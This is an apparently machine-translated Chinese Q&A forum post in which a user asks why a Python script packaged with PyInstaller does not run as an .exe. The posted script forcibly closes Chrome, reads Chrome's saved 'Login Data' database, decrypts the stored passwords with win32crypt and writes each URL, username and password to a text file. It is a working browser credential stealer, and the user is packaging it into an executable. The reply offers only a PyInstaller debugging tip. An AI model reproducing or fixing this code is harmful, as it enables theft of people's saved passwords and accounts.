Python Can';t以.exe格式运行脚本,但它以py文件格式正常运行

Python Can';t以.exe格式运行脚本,但它以py文件格式正常运行,python,pywin32,Python,Pywin32,我下载了pyinstaller,以便将python脚本转换为可执行程序。当我以python文件的形式运行代码时,第三行导入win32crypt上只有一个错误,它显示了这个“错误未解决导入'win32crypt',但它工作正常。 但是,当我将脚本转换为应用程序(.exe文件)时,它无法工作(没有任何错误消息)。我的脚本是从Google Chrome电子邮件/密码中复制的,然后将这些信息粘贴到txt文件中 我已经使用以下命令从控制台安装了pywin32:pip install pywin32\ 这是

我下载了pyinstaller,以便将python脚本转换为可执行程序。当我以python文件的形式运行代码时,第三行
导入win32crypt
上只有一个错误,它显示了这个
“错误未解决导入'win32crypt'
,但它工作正常。 但是,当我将脚本转换为应用程序(.exe文件)时,它无法工作(没有任何错误消息)。我的脚本是从Google Chrome电子邮件/密码中复制的,然后将这些信息粘贴到txt文件中

我已经使用以下命令从控制台安装了pywin32:
pip install pywin32
\

这是我的代码

import os
import sqlite3
import win32crypt

f= open("logins.txt","w")

def closeChrome():
    os.system("taskkill /im chrome.exe /f")
def connectDb():
    dBpath=os.path.expanduser("~")+r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
    connectionObj=sqlite3.connect(dBpath)
    cursorObj=connectionObj.cursor()
    statement="SELECT origin_url,username_value,password_value FROM logins"
    cursorObj.execute(statement)
    data=cursorObj.fetchall()
    for url,username,password in data:
        password=win32crypt.CryptUnprotectData(password)
        f.write(f"url: {url},  username: {username},  password: {password[1].decode('utf-8')}\n")
        print(f"url: {url},  username: {username},  password: {password[1].decode('utf-8')}\n") 
        print(".................................")


closeChrome()    
connectDb()

谢谢:)

请再次使用pyinstaller,但不要使用参数
-w
,然后控制台将显示错误。我不会转换内部带有-w的文件。。。。。我的命令是
pyinstaller file.py